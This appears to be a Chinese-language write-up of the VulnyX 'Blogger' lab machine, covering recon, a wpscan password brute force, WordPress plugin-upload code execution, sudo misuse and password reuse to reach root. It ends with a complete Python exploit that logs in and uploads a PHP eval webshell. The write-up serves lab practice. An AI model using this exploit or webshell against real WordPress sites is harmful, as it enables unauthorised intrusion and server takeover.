vulnyx Blogger writeup
信息收集
arp-scan
nmap
获取userFlag
上web看看
一个默认的页面,gobuster扫一下目录
可以看到扫出的目录中得到了一个有价值的目录/wordpress,说明目标所使用的cms是wordpress,访问http://192.168.43.213/wordpress/然后查看源码能看到
这里就说明我们需要设置hosts,需要在hosts文件中添加以下条目:
192.168.43.213 megablog.nyx
然后访问wp-login.php
这里就是admin后台了,接下来的思路就是通过wpscan枚举并爆破用户,看看能不能有结果
wpscan --api-token apikey --url http://megablog.nyx/wordpress -e u -P 字典文件
成功跑出来了一个用户
peter:peterpan
然后就可以登录到后台了,这里先去翻一下wpscan前面扫出来的漏洞
在其中发现了该wordpress存在这样一个文件上传漏洞,这个漏洞简单的来说就是可以以具有admin权限的用户,利用插件安装模块的文件上传点直接上传php文件,具体步骤如下:
这里就可以直接上传php文件了,上传之后到Media模块中可以看到上传的php文件,然后点进去即可copy url
然后后面就是熟悉的反弹shell了
上来之后发现是www-data用户,而且没有权限看blog用户的家目录,那下面的思路就是要提权到blog,sudo -l看一下
可以以blog身份无密码执行dash,tldr看一下dash的使用示例
这里发现可以通过-c选项执行系统命令,所以可以直接通过它拿到blog的shell
sudo -u blog dash -c '/bin/bash'
然后到blog的家目录下就可以拿到userflag
userflag:507ed5c488064e5ae9d2007dd2b50b53
获取rootFlag
拿到blog后sudo -l发现该用户并没有被授予sudo权限,然后在/tmp和/opt中也没有找到有价值的东西,之后通过ss -lnpt发现该服务器上运行了mysql
所以下一步打算去mysql中看看,想要登录mysql需要找到mysql的账密,这个一般配置在当前网站根目录中的配置文件中,如config.php,所以可以通过find命令直接查找文件名包含config的文件。然后自然的就像切到/var/www/html下,发现blog并没有访问权限,所以回退到www-data用户,然后在进到web根目录下,通过find查找:
find ./wordpress -name *config* 2>/dev/null
cat一下这个文件
在这里找到了配置的用户名和密码,但发现它的用户名是root,所以尝试使用此密码登录root
成功拿到root shell,然后去/root中即可获得rootflag
rootflag:1a1096b5c68cbefc74290f70d7ccb696
写在最后
web那块wordpress可以通过whatweb探测出大概的版本
wordpress < 6.4.3 admin+ PHP File Upload 的python利用脚本
# 利用漏洞 wordpress < 6.4.3 admin+ PHP file upload
import requests, time, sys, re# 初始化
url = 'http://192.168.43.213/wordpress'
url_login = f'{url}/wp-login.php' # 登录页面
url_admin = f'{url}/wp-admin/plugins.php' # 验证是否获取到登录后的cookie
url_wpnonce = f'{url}/wp-admin/plugin-install.php?tab=upload' # 在上传页面获取上传专用的wordpress安全令牌,上传时没有该字段会失败
url_upload = f'{url}/wp-admin/update.php?action=upload-plugin' # php upload页面
url_check = f'{url}/wp-admin/upload.php?mode=grid' # 查看上传文件
payload = '<?php eval($_REQUEST[1]);?>' # 要上传的php代码
login_username = 'peter' # 后台用户名
login_password = 'peterpan' # 密码# 要携带的请求头
headers = {# 'Host':'megablog.nyx', # 模拟dns解析'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0','Cookie':'wordpress_test_cookie=1' # 值无所谓,但必须要有这个字段,否则登录会失败
}# 设置代理,便于调试
proxies = {'http':'http://192.168.43.6:8080'
}# 用户登录的表单
login_data = {'log':login_username,'pwd':login_password,'rememberme':'forever','wp-submit':'Log In','redirect_to':'http://megablog.nyx/wordpress/wp-admin/','testcookie':1
}# 登录函数
def checkLogin():print('''
===============执行登录模块
===============''')time.sleep(0.5)# 登录res = requests.post(url_login, headers=headers, data=login_data, proxies=proxies, allow_redirects=False)if res.status_code != 302:sys.exit('登录失败')print('>>登录成功<<')set_cookie = res.headers['Set-Cookie']cookies = ''.join(re.findall(r'wordpress_.+?;', set_cookie))headers['Cookie'] = cookies # 将获得的cookie更新到headers中去# 验证是否进入admin页面res = requests.get(url_admin, headers=headers, proxies=proxies)if 'dashboard' in res.text.lower():print('>>成功进入admin页面<<')# 获取nonce值(wordpress安全令牌),上传时没有该字段会失败res = requests.get(url_wpnonce, headers=headers, proxies=proxies)wpnonce = re.findall(r'(?<="_wpnonce" value=")\w+(?=")', res.text)[0]print(f'成功获取wpnonce:{wpnonce}')return wpnonce# PHP文件上传
def phpUpload(wpnonce):print('''
===============执行上传模块
===============''')time.sleep(0.5)files = {'_wpnonce':(None, wpnonce, None),'pluginzip':('shell1.php', payload, 'application/octet-stream')}res = requests.post(url_upload, headers=headers, proxies=proxies, files=files)if res.status_code == 200:print('>>上传成功<<')sys.exit(f'查看上传的文件:{url_check}')if __name__ == '__main__':wpnonce = checkLogin()phpUpload(wpnonce)